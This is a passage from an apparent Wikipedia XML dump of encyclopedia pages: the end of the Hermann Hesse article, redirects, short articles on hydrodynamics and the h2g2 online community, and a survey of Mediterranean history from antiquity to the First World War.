After the Second World War, Hesse's productivity declined. He wrote short stories and poems, but no more novels. He occupied himself with the steady stream of letters he received as a result of the prize and as a new generation of German readers explored his work. He died on August 9, 1962 and was buried in the cemetery at San Abbondio in Montagnola, where Hugo Ball is also buried.

==Works==

* [[1898]] - ''Romantische Lieder'' (''[[Romantic Songs]]'')
* [[1899]] - ''Eine Stunde hinter Mitternacht'' (''[[One Hour After Midnight]]'')
* [[1904]] - ''[[Peter Camenzind]]''
* [[1906]] - ''Unterm Rad'' (''[[Beneath the Wheel]]'')
* [[1908]] - ''Freunde'' (''Friends'')
* [[1910]] - ''Gertrud'' (''[[Gertrud (novel)|Gertrude]]'')
* [[1914]] - ''[[Rosshalde]]''
* [[1915]] - ''[[Knulp]]''
* [[1919]] - ''[[Demian]]''
* [[1919]] - ''Klein und Wagner'' (''[[Klein and Wagner]]'')
* [[1919]] - ''Märchen'' (''[[Strange News from Another Star]]'', short stories)
* [[1920]] - ''Blick ins Chaos'' (''In Sight of Chaos,'' essays)
* [[1920]] - ''Klingsors letzter Sommer'' (''[[Klingsor's Last Summer]]'', three novellas)
* [[1922]] - ''[[Siddhartha (novel)|Siddhartha]]''
* [[1927]] - ''[[Die Nürnberger Reise]]''
* [[1927]] - ''Der Steppenwolf'' (''[[Steppenwolf (novel)|Steppenwolf]]'')
* [[1930]] - ''Narziss und Goldmund'' (''[[Narcissus and Goldmund]]'')
* [[1932]] - ''Die Morgenlandfahrt'' (''[[Journey to the East]]'')
* [[1937]] - ''Gedenkblätter'' (''[[Autobiographical Writings (Hesse)|Autobiographical Writings]]'')
* [[1942]] - ''Die Gedichte'' (''[[Poems (Hesse)|Poems]]'')
* [[1943]] - ''Das Glasperlenspiel'' (''[[The Glass Bead Game]]'', also published as ''Magister Ludi'')
* [[1946]] - ''Krieg und Frieden'' (''[[If the War Goes On ...]]'')
* [[1976]] - ''[[My Belief: Essays on Life and Art]]''
* [[1995]] - ''The Complete Fairy Tales of Hermann Hesse''

==Awards==

[[Image:Hermann Hesse Bueste.JPG|thumb|Statue in Calw]]

* [[1906]] - [[Bauernfeld-Preis]]
* [[1928]] - Mejstrik-Preis der Wiener Schiller-Stiftung
* [[1936]] - [[Gottfried-Keller-Preis]]
* [[1946]] - [[Goethepreis der Stadt Frankfurt]]
* [[1946]] - [[Nobel Prize in Literature]]
* [[1947]] - Honorary Doctorate from the [[University of Bern]]
* [[1950]] - [[Wilhelm-Raabe-Preis]]
* [[1954]] - [[Orden Pour le mérite für Wissenschaft und Künste]]
* [[1955]] - [[Peace Prize of the German Book Trade]]

Hesse received honorary citizenship from his home city of Calw, and additionally, throughout Germany many schools are named after him. In 1964, the [http://www.hermann-hesse.de/eng/stiftung/framestiftung.shtml Calwer Hermann-Hesse-Preis] was founded, which is awarded every two years, alternately to a German-language literary journal or to the translator of Hesse's work to a foreign language. There is also a [http://www4.karlsruhe.de/kultur/kulturprojekte/kulturpreise/literatur/hesse-preis05 Hermann-Hesse-Preis] that is associated with the city of Karlsruhe.

{{start box}}
{{succession box | before = [[Gabriela Mistral]] | title = [[List of Nobel laureates#Literature|Nobel Prize in Literature winner]] | years = 1946 | after = [[André Gide]]
}}
{{end box}}

==External links==
{{wikiquote}}
{{wikisourcelang|de|Hermann Hesse|Hermann Hesse}}
* {{gutenberg author| id=Hermann+Hesse | name=Hermann Hesse}}
*[http://www.gss.ucsb.edu/projects/hesse/ Hermann Hesse Page] - in German and English, maintained by Professor Gunther Gottschalk
* [http://www.hermann-hesse.de/eng/ Hermann Hesse Portal]
* [http://www.hhesse.de/start.php Community of the Journeyer to the Easy] - in German and English
*[http://courseweb.stthomas.edu/paschons/language_http/essays/hesse.html Concise Biography] - originally published by the Germanic American Institute, by Paul A. Schons
*[http://www.kirjasto.sci.fi/hhesse.htm Article] at 'Books and Writers'

[[Category:1877 births|Hesse, Hermann]]
[[Category:1962 deaths|Hesse, Hermann]]
[[Category:German novelists|Hesse, Hermann]]
[[Category:German poets|Hesse, Hermann]]
[[Category:Natives of Württemberg|Hesse, Hermann]]
[[Category:Nobel Prize in Literature winners|Hesse, Hermann]]
[[Category:Swiss novelists|Hesse, Hermann]]
[[Category:Swiss poets|Hesse, Hermann]]

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[[bg:Херман Хесе]]
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[[zh:赫尔曼·黑塞]]</text>
    </revision>
  </page>
  <page>
    <title>Hunebeds</title>
    <id>13579</id>
    <revision>
      <id>15911177</id>
      <timestamp>2004-07-27T08:32:31Z</timestamp>
      <contributor>
        <username>Benc</username>
        <id>33718</id>
      </contributor>
      <comment>removed double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Dolmen]]</text>
    </revision>
  </page>
  <page>
    <title>Hydrodynamics</title>
    <id>13580</id>
    <revision>
      <id>41533105</id>
      <timestamp>2006-02-28T00:06:10Z</timestamp>
      <contributor>
        <ip>66.222.126.92</ip>
      </contributor>
      <comment>/* See also */  Removed vandalism</comment>
      <text xml:space="preserve">'''Hydrodynamics''' (literally, &quot;water motion&quot;) is [[fluid dynamics]] applied to [[liquid]]s, such as [[water]], [[alcohol]], [[petroleum|oil]], and [[blood]].  (However, this distinction from fluid dynamics as a whole is not always fully observed).

[[Blaise Pascal]] in the [[1600s]] contributed some of the initial theory to this field. The term originates from the work of [[Daniel Bernoulli]], based on the title of his work called ''Hydrodynamica'' ([[1738]]). He and [[Leonhard Euler]] established the general equations of hydrodynamics.

The practice was continued by  [[Joseph Louis Lagrange]] ([[1736]]-[[1813]]) with the Euler-Lagrange system, [[Jean le Rond d'Alembert]] ([[1717]]-[[1783]]) discovered the [[Cauchy-Riemann equations]], [[Pierre Simon Laplace]] ([[1749]]-[[1827]]) with the governing equation in the [[potential flow]] named after him, [[Hermann von Helmholtz|Hermann Ludwig Ferdinand von Helmholtz]] ([[1821]]-[[1894]]) and [[William Thomson, 1st Baron Kelvin|William Thomson]], Lord Kelvin ([[1824]]-[[1907]]) with [[Kelvin-Helmholtz instability]] (see also Rayleigh-Taylor and Richtmyer-Meshkov) and Helmholtz's work on vortices.

==See also==

* [[fluid dynamics]],
* [[dissolution rate]], 
* [[convective diffusion theory]], 
* [[Reynolds number]],
* [[boundary layer]],
* [[Ludwig Prandtl]], 
* [[Benjamin Levich]], 
* [[Osborne Reynolds]],
* [[Poiseuille's law]],
* [[potential flow]].
* [[plume (hydrodynamics)]]
* [[entrainment (hydrodynamics)]]

[[cs:Hydrodynamika]]
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[[Category:Fluid dynamics]]</text>
    </revision>
  </page>
  <page>
    <title>H2G2</title>
    <id>13581</id>
    <revision>
      <id>41908375</id>
      <timestamp>2006-03-02T15:14:34Z</timestamp>
      <contributor>
        <username>CHawke</username>
        <id>491463</id>
      </contributor>
      <minor />
      <comment>/* Terms and Conditions */  tidy up.  BTW last edits were me, didn't realise I wasn't logged in</comment>
      <text xml:space="preserve">{{lowercase|title=h2g2}}

[[Image:H2g2 logo.gif|right|h2g2 logo in the Brunel skin]]

'''h2g2''' is an online community engaged in the construction of a guide to life, the universe, and everything. Much of it is encyclopedic, but the site also covers more idiosyncratic subjects, such as [http://www.bbc.co.uk/dna/h2g2/A450587 plastic bag bras], [http://www.bbc.co.uk/dna/h2g2/A625592 teaching cats to fetch], or [http://www.bbc.co.uk/dna/h2g2/A352522 burying oneself in sand].  Although the site is owned and hosted by the [[BBC]], many participants are from outside the [[United Kingdom]].

The site takes its name from ''[[The Hitchhiker's Guide to the Galaxy]]'', a fictional publication found in the book, radio, television series, and film of the same name.

h2g2 has a strong [[community]] feel, with a largely helpful user base. The site is rich in graphics, which are designed by a volunteer team of community artists. The site is generally considered quite [[user-friendly]], particularly towards new users who are usually welcomed by volunteers known as ACEs (see below). As in many such communities, discussion ranges from the friendly to the hostile, but for the most part Researchers work together well.

Entries typically aim for a slightly humorous, but correct and well-written treatment of their subject matter. Every entry has an associated discussion area, which allows for multiple threads, called Conversations.

==History==

h2g2 was founded in April 1999 as the [[Earth]] edition of the ''Hitchhiker's Guide to the Galaxy'' by the author of the series, [[Douglas Adams]], and his friends and colleagues at [[The Digital Village]]. &quot;h2g2&quot; serves as a handy abbreviation for that rather lengthy title, with the advantage that most people are able to spell it. 

Like many other [[dot-com]] companies, Adams' company [[The Digital Village|TDV]] ran into financial difficulties towards the end of 2000 and eventually ceased operations. In January 2001, the management of the site was taken over by the BBC, and moved to [[bbc.co.uk]] (then part of [[BBCi]]). During this takeover there was a lengthy intermission during which the site was unavailable, which the community refers to as &quot;Rupert&quot; &amp;mdash; an obscure reference to the serendipitous naming of the fictional tenth planet in Adams' novel ''[[Mostly Harmless]]''. Some members created an alternative site, &quot;n2g2&quot;, standing for &quot;Nowhere To Go To&quot;, in order to maintain their community while the site was down, and to complain about changes implemented by the BBC.

[[April 21]], [[2005]] marked the launch of h2g2 Mobile, an edition of the guide produced specifically for PDAs (Personal Digital Assistants) and some mobile phones that could access the internet, so that people could read h2g2 entries while on the move. [http://www.bbc.co.uk/dna/h2g2/mobile-info] This was done because people wanted h2g2 to be much like the ''Hitchhiker's Guide'' described in the books &amp;mdash; a mobile, electronic device that anyone could read from anywhere.

== Terms and Conditions ==

In order to contribute to the site, it is necessary to register and to agree to the h2g2 &quot;House Rules&quot; and the general BBC Terms and Conditions. Registered users are called ''Researchers''. Researchers retain the [[copyright]] to their articles, but grant the BBC a non-exclusive license to do pretty much whatever it likes with them.

The House Rules prohibit various things, including [[racism]], &quot;hard-core&quot; [[profanity|swearing]], [[spamming]], [[Usenet flood|flooding]], languages other than [[English language|English]], and &quot;otherwise objectionable&quot; material. The Terms and Conditions are more legalistic, and prohibit material that is not the submitter's own and original work, [[defamation|defamatory]] material, etc.

When the site became part of BBCi, the BBC insisted on moderating all contributions to the site soon after they were made. However, they were eventually persuaded that the h2g2 Community could be trusted to a system of &quot;Reactive Moderation&quot;, in which posts are not checked by moderators unless a complaint is made. Individual user accounts are sometimes put on &quot;pre-moderation&quot;, meaning that any posts they make are not displayed until they have been reviewed by a moderator.

Occasionally, there has been an issue that is particularly contentious, or that makes the BBC's libel lawyers particularly nervous, and discussion of this issue may be moderated differently. For example:
* Political Discussions during any [[Elections_in_the_United_Kingdom|Elections in the United Kingdom]] are restricted to specific forums.  These forums are have all posts read by moderators to ensure that the BBC cannot be seen to break the tight rules that govern the UK media during such elections.
* During the [[U.S. invasion of Afghanistan|2001 invasion of Afghanistan]], extra rules were put in place and, for example, the username ''[[Osama bin Laden|OBL]]'' was deemed unacceptable.
* On [[17 March]] [[2003]], h2g2 issued guidelines for discussions during the [[2003 invasion of Iraq|2003 Iraq war]], including saying that &quot;Postings and Entries on the subject of the conflict posted to h2g2 will be removed&quot;.
* In February 2006, various posts linking to the [[Jyllands-Posten Muhammad cartoons controversy|Muhammad cartoons]] were removed. 

Additionally, several Entries have been deleted by the h2g2 Editors, at the behest of the BBC's &quot;Editorial Policy&quot; unit, headed by [[Stephen Wittle]].

== Editing process ==

h2g2 is really two separate but complementary Guides, one Edited and one Unedited. The Unedited Guide is described in a separate section below. The Edited Guide consists of articles (usually called 'Entries') which have passed through a [[peer review]] process, and then been checked and tidied up first by a volunteer sub-editor and then, more briefly, by an in-house editor. As of [[September 12]], 2003, the Edited Guide consisted of 5,832 Entries. The 7,000th entry was added to the Edited Guide on [[April 8]], 2005. [http://www.bbc.co.uk/dna/h2g2/F77636?thread=628854]

=== Peer Review ===

On h2g2, entries are peer reviewed by any members of the community who feel like spending a little time reading and commenting. Some of these may be specialists on the topic, but generally most are not, and it soon becomes obvious, therefore, whether the average Researcher can understand an Entry. While this has the advantage that Entries are generally written in terms that the layman can understand, it also means that mistakes can occasionally slip into the Edited Guide.

Once an entry has been picked by a Scout (see later) and leaves Peer Review, a copy is made and editing rights are handed to a Sub-editor. After the Entry has its day on the Front Page of h2g2 and becomes part of the Edited Guide it can only be modified or updated by its author either by requesting minor changes through the Editorial Feedback section of h2g2, or by submitting it to the Update Forum if larger changes or a rewrite are needed. However, the author can still update the unedited version, which remains in the wider unedited guide.

=== Sub-Editing ===

Sub-editors, likewise, are not generally experts on the material they are editing, which is assigned on a more or less random basis. Sub-editing is mainly limited to ensuring readability and conformity to the h2g2 [[house style]], though the amount of changes made varies from one Entry to another. 

Some sub-editors tend to discuss changes with the Researcher who wrote the Entry to make sure that they are correct in their information and written in the right way. However, this is entirely at the individual sub-editor's discretion. h2g2 lacks an effective change control system, and this often leads to errors creeping in at this stage.

The in-house editors make few changes&amp;mdash;the most visible of which is appending a &quot;Related BBC links&quot; section to entries that includes a link for readers to search BBCi for other entries on the same subject.

=== Updating ===

After years of discussion, h2g2 has now adopted a formal update system. This consists of an Update Forum, which works in the same way as Peer Review, allowing a new version of an existing entry to be submitted for full review. Small but important modifications can be fast-tracked with a posting on the relevant feedback page.

=== The Workshops ===

There are two workshops where help can be obtained in preparing an article for Peer Review. The Collaborative Writing Workshop is where people can collaborate to create an entry. At the Writing Workshop, entries that are not yet ready for Peer Review can be improved. Another review forum, the Flea Market, is where abandoned Entries that fall outside the writing guidelines and have been left in Peer Review are moved, so that other researchers can polish them up for Peer Review. 

There is also an Alternative Writing Workshop, where entries that don't adhere to the Writing Guidelines can be worked on.

=== The Unedited Guide ===

The Edited Guide forms only a small part of h2g2 as a whole. Most of the site's 'cultural life' takes place in the far larger Unedited Guide, which contains, amongst other things, various clubs and societies, discussion areas, Researchers' h2g2 homepages (known as their 'Personal Spaces'), and writing workshops. The Unedited Guide can also contain fiction, although this cannot be submitted for inclusion to the Edited Guide, which only contains factual information. 

If an article does not make it through the Peer Review process, the original (unedited) entry can still be viewed, as before, in the Unedited Guide. It can, of course, also be rewritten by the author(s) and submitted again at a later date.

=== The UnderGuide ===

The UnderGuide is h2g2's most ambitious attempt to bring the attention of the community's best entries that fall outside of the Edited Guide's [http://www.bbc.co.uk/dna/h2g2/Writing-Guidelines Guidelines]. The UnderGuide and its volunteers have a similar structure to the Edited Guide's volunteers.  They have scouts, but call them miners.  They have sub editors, but their name is gem polishers. Miners inhabit the [http://www.bbc.co.uk/dna/h2g2/RF5 Alternative Writing Workshop] to comment on entries and pick them for the UG.

== The community ==

The bulk of site activity takes place in the [[United Kingdom]] ([[GMT]]/[[British Summer Time|BST]]) daytime, which is when the in-house [[London]] based team (known as 'The Italics', see below), is there. But at other times, the [[United States|US]], [[Canada|Canadian]] and [[Australia|Australian]] researchers are also very active. 

=== The Italics ===

The Italics (technically 'the Editors'), the inhouse editors of h2g2, are the only people on the site who get paid (by the BBC) for what they do. They monitor the content of the Edited Guide and oversee the general development of community life. They are named for the way their names appear in conversations, in bold italics, to keep people from impersonating them. There are informal nicknames for the editors such as 'The Powers That Be', 'The Towers', 'The Powers in the Towers' and '[[Leaning Tower of Pisa|Pisa]] People'.

The core personnel have changed considerably since h2g2 started in 1999. The first editor, Mark Moxon, left in 2002, and many other Italics have also been replaced. Of the original TDV team, only Jim Lynn, the original Technical Lead, and Peta Haigh the Community Editor, remain working on the site, although most of their time is spent developing the DNA software base and community system for other uses within the BBC, as part of the DNA team.

=== Volunteers ===

There are six different kinds of volunteer on the site, with varying responsibilities. Any researcher can apply to become a volunteer; if accepted, they gain a badge for their personal space, advertising their status as a member of that particular group: 

* '''Aces''' (the name is an [[acronym]] for Assistant Community Editor) are responsible for welcoming new users and assisting them in becoming active and experienced members of h2g2. No [[statistics]] are publicly available, but this approach ensures that a large proportion of initially active Researchers continue to contribute. Aces are also expected to take a responsible role within the community, encouraging discussion and debate.
* '''Gurus''' help Researchers later on with technical issues, such as with [[GuideML]], a custom markup language designed to allow additional features (such as formatting for headings and subheadings, and graphical [[emoticon]]s), whilst removing unwanted [[HTML]] tags (such as [[JavaScript]] and embedded images and sounds).
* '''Scouts''' are responsible for making sure that quality work does not languish in Peer Review for too long. They keep an eye open for entries that have received a favourable response from other Researchers, and pick a few each month to recommend for inclusion in the Edited Guide. The picks are reviewed by the 'Italics' and then forwarded to a sub-editor.
* '''Sub-editors''' check and edit Entries to be added to the Edited Guide. After that is done, the new Edited Entry is posted to the front page for a day and one in three articles is awarded its own professionally drawn picture. Once Edited, the original authors cannot change the articles anymore, although there is a small team of Curators who continuously trawl old edited entries repairing broken links, making updates, and so forth. These were the first volunteers, originally hand picked, who used to do the jobs of scouts as well prior to the creation of Peer Review.
* '''Community Artists''' contribute the art that illustrates many of the entries. The volunteer group provides graphics frequently, in order to meet the one-in-three requirement mentioned above. They are always credited on the pages they have illustrated. Everyone on h2g2 has some respect for the artists.
* '''University Field Researchers''' write groups of entries based around a common theme, aiming to provide a comprehensive guide to a specific subject. These projects often became quite involved and take several months to complete. Once finished, they are usually featured on the h2g2 home page for a week. This scheme was discontinued on [[June 25]], [[2003]], though previous Field Researchers retained their badges. [http://www.bbc.co.uk/dna/h2g2/F77636?thread=289496] In late 2005, the scheme was reinstated and projects began to be featured on the Front Page again.
* '''Curators''' are Researchers who help the Italics keep the Edited Guide tidy and up-to-date. Their duties include correcting typos which have slipped through the editing process, cross-linking newer Entries to older ones and removing broken links, and taking care of requests for minor changes which have been posted to the editorial feedback forum.

=== Clubs and societies ===

h2g2 is large enough to have many unofficial [[club|clubs]] and societies, set up and maintained by researchers. Examples include:  

* '''The Musicians' Guild''' - self explanatory; this is a place for [[musician|musicians]] to gather and discuss [[music|musical]] topics.
* '''The Zaphodistas''' - Loosely based on [[Mexico]]'s [[Zapatista Army of National Liberation|Zapatista]] rebels, the Zaphodistas campaign for researcher rights, for example, to include external images on h2g2 pages.
* '''The Freedom from Faith Foundation''' - An organization of [[free-thinker|free-thinkers]], the FFFF is a forum for non-[[dogmatic]] discussion of [[philosophy|philosophical]] and [[religion|religious]] issues.
* '''The Society for the Addition of a Towel Smiley''' - This is a group that campaigned (successfully) to have a graphic representing a [[towel]] added to the extensive list of h2g2 [[smiley|smileys]].
* '''The Thingites''' - This is a group that campaigns (not yet successfully) to have the days of the [[week]] renamed (chiefly to rename 'Thursday' as 'Thing').  The group is also attempting (as yet also unsuccessfully) to have one of their threads ('No no no!!') recognised by the [[Guinness Book of Records]] as the longest thread in any chat community in the world. (As of February, 2006, that particular thread had over 82,000 posts, so maybe they have a point.)
* '''The Thursdayites''' - This group campaigns to have the days of the week as they are now
* '''The Terranic Army''' - This virtual [[army]] used to have online battles on their own World War battlefield. The army is now in general disuse, although many copycat societies have emerged.
* '''United Friends of h2g2space''' - One of the largest clubs at the site, United Friends is simply a celebration of the friendliness of h2g2.  Membership is open to any researcher.

=== Talk Forums ===

Among the most popular Talk Forums on the site are:

*'''Ask the h2g2 Community''' - usually abbreviated to '''Ask'''. This is a general forum where Researchers can ask members of the community questions on various subjects. It also contains long-running conversations such as &quot;My penis and I - what do women think of penises?&quot;, &quot;What Films have you seen recently?&quot; and &quot;(The Return of) What book are you reading at this time?&quot;. 

*'''The Forum''' - The Forum contains many similar conversations to Ask, but they tend to be of a more serious nature. 

*'''SEx - Science Explained Forum''' - an area for Researchers to discuss all things scientific. Many of the Researchers are experts in particular fields, and so are able to provide explanations on a broad range of subjects.

=== The Post ===

[http://www.bbc.co.uk/dna/h2g2/ThePost The Post] is h2g2's own virtual [[broadsheet]] [[newspaper]], published weekly by a team of community members. It includes cartoons, regular columns, fiction, poetry and feature stories written and submitted by the h2g2 Researchers. It is edited by a few dedicated h2g2 Researchers, not paid in-house editors. The Post provides an outlet for comment and for sharing experiences, and often features content that is not intended to form a part of the Edited Guide.

The h2g2 community also investigates its own progress at times, for example in the h2g2 Reports, written by a varied group of Researchers on a relatively infrequent basis.

== DNA ==

The [[software]] for h2g2 - and all of its related 'sister' communities in the BBC, such as &quot;Filmnetwork&quot;, &quot;Action Network&quot;, and &quot;The Collective&quot; &amp;ndash; is affectionately known as DNA, after the initials of author and site founder [[Douglas Adams|Douglas Noel Adams]]. The DNA technology was introduced a few months after the BBC takeover. Before this technology, there was &quot;Ripley&quot;, which was named after the character from the film ''[[Aliens (1986 film)|Aliens]]'', in homage to the quote &quot;I say we take off and nuke the entire site from orbit. It's the only way to be sure.&quot; Before that there was a technology with no particular name, which subsequently gained the [[retronym]] Llama.  

All BBC messageboards are currently in the process of being moved onto the DNA engine, a full list of those that have migrated onto DNA so far can be seen at: [http://www.bbc.co.uk/dna/hub/communities DNA communities].

Adams himself was rather involved in the website in its early days. His account name (of course) was DNA, and his user number was 42, a reference to the famous joke in ''[[The Hitchhiker's Guide to the Galaxy]]'' that the Answer to the Ultimate Question of Life, the Universe and Everything is 42. When Adams died, in May 2001, his personal space was the focus for a huge reaction from the community. Tributes and messages poured in at a rate of about one every two minutes.

Adams' legacy is still felt on h2g2, and naturally the site is peppered with references to the Hitchhiker books; it is, however, not a fan site, and was never intended as such.

== The skins ==

h2g2 has four different 'skins' which are different ways of viewing the site.  Users can set their options menu to view the site in one or other of the skins when they are logged in. Some skins are more popular than others; some even have fanclubs. It is possible to switch between skins while not logged in by altering the URL, for example changing http://www.bbc.co.uk/dna/h2g2/classic/A918434 to http://www.bbc.co.uk/dna/h2g2/alabaster/A918434 would alter the skin from Classic Goo to Alabaster.

*'''Classic Goo''' was the first skin. It has large white text on a blue background. The first programmers of h2g2 nicknamed it 'Goo' but it appears as /classic in the URL.
*'''Alabaster''' was the second skin. Its layout is most like the rest of the internet, with small black text on a white background. The look of the skin is generally described as orange and green. This skin was considered necessary to help attract people who are used to the rest of the internet. One of the programmers behind h2g2, Jim Lynn, apparently chose between the names Porcelain and Alabaster, chosen because he compared the skin to a toilet.
*'''Brunel''' is the newest official skin, and consequently it is the default format for visitors who are not logged in. It has black text on white backgrounds, and was designed to look more like the rest of the BBC. The border colours vary depending on what type of Entry is being viewed, and can be determined by creators of Entries by using special [[GuideML]] tags; the h2g2 Front Page changes its colour scheme with its content. This skin is generally considered as having the best layout, as it has several useful buttons that are not on the other skins.
*'''Plain''' was designed for [[Digibox]], [[Palm Pilot|Palm]] and [[Pocket PC]] users who can't load the more graphic alabaster, brunel or classic. The Plain skin is not officially supported on the site, so it has not undergone the same level of testing as the other skins and has a few small problems. Unlike the other site skins, plain allows registered site users to define and use their own [[Cascading Style Sheets|Style Sheet]] if they so wish.

== See also ==
{{selfref|[[Wikipedia:Guide for h2g2 Researchers]]}}
* [[Internet encyclopedia project]] - for similar online projects

== External links ==
* [http://www.bbc.co.uk/dna/h2g2/ h2g2 homepage]
* [http://www.bbc.co.uk/dna/h2g2/team h2g2 Team]
*[http://www.bbc.co.uk/dna/h2g2/A918434 h2g2's entry about Wikipedia]

[[Category:BBC]]
[[Category:Online encyclopedias]]

[[de:H2G2]] 
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[[tr:H2G2]]</text>
    </revision>
  </page>
  <page>
    <title>Hanlons Razor</title>
    <id>13582</id>
    <revision>
      <id>15911180</id>
      <timestamp>2004-09-10T00:31:46Z</timestamp>
      <contributor>
        <username>Tregoweth</username>
        <id>7402</id>
      </contributor>
      <minor />
      <comment>#redirect [[Hanlon's Razor]]</comment>
      <text xml:space="preserve">#redirect [[Hanlon's Razor]]</text>
    </revision>
  </page>
  <page>
    <title>History of the Mediterranean region</title>
    <id>13584</id>
    <revision>
      <id>40789680</id>
      <timestamp>2006-02-23T00:58:05Z</timestamp>
      <contributor>
        <username>That Guy, From That Show!</username>
        <id>419920</id>
      </contributor>
      <comment>Reverted edits by [[User:70.70.128.39|70.70.128.39]] ([[User talk:70.70.128.39|t]]) ([[Special:Contributions/70.70.128.39|c]]) to last version by That Guy, From That Show!</comment>
      <text xml:space="preserve">The '''history of the [[Mediterranean region]]''' is the [[history]] of the interaction of the cultures and peoples of the lands surrounding the [[Mediterranean Sea]] &amp;mdash;the central [[superhighway]] of transport, trade and cultural exchange between diverse peoples. Its history is important to understanding the origin and development of the [[Ancient Egypt|Egyptian]], [[Ancient Greece|Greek]], [[Ancient Rome|Latin]], [[Arab]] and [[Persian Empire|Persian]] cultures &amp;mdash;and hence is important to understanding the development of [[Western Civilization]] as we understand it today. 

==Ancient==
Two of the first human civilizations began in the Mediterranean area. Civilization first developed in [[Mesopotamia]] begnning with [[Sumer]] in the [[4th millennium BC]]. Soon after, the [[Nile River]] valley was unified under the [[Pharaoh]]s in the 4th millennium BC, and civilization quickly spread through the [[fertile crescent]] to the east coast of the sea and throughout the [[Levant]], which happens to make the Mediterranean countries of [[Syria]], [[Lebanon]], and [[Israel]] part of the [[Cradle of Humanity]]. These areas shared similar climates and geographies, but it was more difficult to spread technologies and crops, such as flax, lentil, peas, barley, and cotton to other portions of the Mediterranean basin.

In time, large empires developed in [[Anatolia|Asia Minor]], such as the [[Hittites]].  The main expansion  was delayed until ships sturdy enough the cross the sea were developed.  [[Cyprus]] and the other islands developed, and the [[Minoan civilization]] flourished on the island of [[Crete]].  While the river valley civilizations always had larger populations, the trading societies on the coast of the sea soon became the most prosperous, and rose to power.

==Classical==
The two most notable of these were the [[Ancient Greece|Greek]] city states and the [[Phoenicia]]ns.  The Greeks expanded throughout the [[Black Sea]] and south through the [[Red Sea]].  The Phoenicians spread through the western Mediterranean including [[North Africa]] and [[Spain]].  The Phoenician heartland in the Levant was still dominated by powers rooted east in Mesopotamia or [[Iran|Persia]], and the Phoenicians often provided the naval forces of the Persian Empire.  

To the north of Greece, in [[Macedon]], Greek technological and organizational skill was forged with a long history of cavalry warfare.  Under [[Alexander the Great]], this force turned east, and in a series of three decisive battles, routed the Persian forces and took their empire.  The Phoenician lands were taken, as was Egypt.  For the first time, the major centres of the Mediterranean were in one hand.  Alexander's empire quickly disintegrated, and the Middle East, Egypt, and Greece were soon again independent.  Alexander's conquests spread Greek knowledge and ideas throughout the region.

These eastern powers soon began to be overshadowed by those further west.  In North Africa the former Phoenician colony of [[Carthage]] rose to dominate its surroundings with an empire that contained many of the former Phoenician holdings.  However, it was a city on the [[Italian peninsula]], [[Rome]], that would eventually dominate the entire Mediterranean basin.  Spreading first through Italy, Rome defeated Carthage in the [[Punic Wars]], becoming the leading force in the region.  The Romans soon spread east taking Greece, and the Greek heritage played an important role in the Roman Empire.  By this point the coastal trading cultures were thoroughly dominant over the inland river valleys that had once been the heart of the great powers.  Egyptian power moved from the Nile cities to the coastal ones, especially [[Alexandria]].  Mesopotamia became a fringe border region between the Roman Empire and the Persians.

For several centuries the Mediterranean was a &quot;Roman Lake,&quot; surrounded on all sides by the empire.  One portion of the empire was [[Judea]], and in time, a religion founded in that region, [[Christianity]], spread throughout the empire and eventually became its official faith.  The empire began to crumble, however, and collapsed in the fifth century.  Temporarily the east was again dominant as the [[Byzantine Empire]] formed from the eastern half of the Roman one.  The western part of the empire, [[Gaul]], [[Hispania|Iberia]], and the [[Maghreb]] were invaded by nomadic horse peoples from the [[Eurasian]] steppe.  These conquerors soon became settled, and adopted many of the local customs, forming many small and warring kingdoms.

==Middle Ages==
Another power was rising in the east, that of [[Islam]], whilst Byzantine and Persia were both weakened by centuries of stalemate warfare. In a rapid conquest the Islam faith motivated armies swept through much of the Middle East; reducing Byzantine lands by half and completely engulfing the Persians. In Anatolia the expansion was blocked by the still capable Byzantines.  The Byzantine governors and indigenous kingdoms of North Africa could not mount such a resistance, and the Muslim conquerors swept through the region, and at the far west crossed the sea taking Spain before being halted in southern [[France]] by the [[Franks]].

Much of North Africa became a peripheral area to the main Muslim centres in the Middle East, but Spain and Morocco soon broke from this distant control and founded one of the most advanced societies in the world at this time.

Europe was reviving, however, as more organized and centralized states began to form in the later [[Middle Ages]].  Motivated by religion and dreams of conquest, the kings of Europe launched a number of [[The Crusades|Crusades]] to try to roll back Muslim power and retake the [[holy land]].  The Crusades were unsuccessful in this goal, but they were far more effective in weakening the already tottering Byzantine Empire that began to lose increasing amounts of territory to the [[Ottoman Turks]].  They also rearranged the balance of power in the Muslim world as Egypt once again emerged as a major power in the eastern Mediterranean.

Europe continued to increase in power as  the [[Renaissance]] began in [[Northern Italy]].   The Islamic states had never been major naval powers, and trade from the east to Europe was soon in the hands of Italian traders, especially the Venetians, who profited immensely from it.

Ottoman power continued to grow, and in [[1453]], the Byzantine Empire was extinguished with the fall of [[Constantinople]].  The Ottomans already controlled Greece and much of the Balkans, and soon also began to spread through North Africa. North Africa had grown wealthy from the trade across the [[Sahara Desert]], but the [[Portugal|Portuguese]], who along with other Christian powers, had been engaged in a long campaign to evict the Muslims from Iberia, had found a method to circumvent this trade by trading directly with [[West Africa]].  This was enabled by a new type of ships, the [[caravel]], that made trade in the rough Atlantic waters profitable for the first time.  The reduction in the Saharan trade weakened North Africa, and made them an easy target for the Ottomans.

==Modern==
The growing naval prowess of the European powers confronted further rapid Ottoman expansion in the region when the [[Battle of Lepanto]] checked the power to the Ottoman navy. However, as [[Braudel]] argued forcefully, this only slowed the Ottoman expansion instead of ending it. The prized island of [[Cyprus]] became Ottoman in 1571. The last resistance in [[Tunisia]] ended in 1574 and almost a generation long siege in [[Crete]] pushed Venetians out of this strategic island in 1669. A balance of power was then established between [[Spain]] and [[Ottoman Empire]] until 18th century, each dominating their respective half of Mediterranean, reducing Italian navies as naval powers became increasingly more irrelevant. 

The development of oceanic shipping began to affect the entire Mediterranean, however.  While once, all trade from the east had passed through the region, the circumnavigation of Africa allowed gold, spices, and dyes to be imported directly to the Atlantic ports of western Europe.  The Americas were also a source of extreme wealth to the western powers, of which, some of the Mediterranean states were largely cut off from.  The base of European power thus shifted northward and once wealthy Italy became a peripheral area dominated by foreigners.  The Ottoman Empire also began a slow decline that saw its North African possessions gain de facto independence and its European holdings gradually reduced by the increasing power of Austria and Russia.

By the nineteenth century the Northern European states were vastly more powerful, and began to colonize North Africa.  France spread its power south by taking [[Algeria]] in [[1830]].   Britain gained control of [[Egypt]] in [[1882]].   The Ottoman Empire finally collapsed in the [[World War I|First World War]] and its holdings were carved up among France and Britain, but the Turkish regions quickly regained their independence becoming the independent state of [[Turkey]].

==Further reading==
*[[Fernand Braudel]], ''The Mediterranean in the Age of Philip II''

==References==
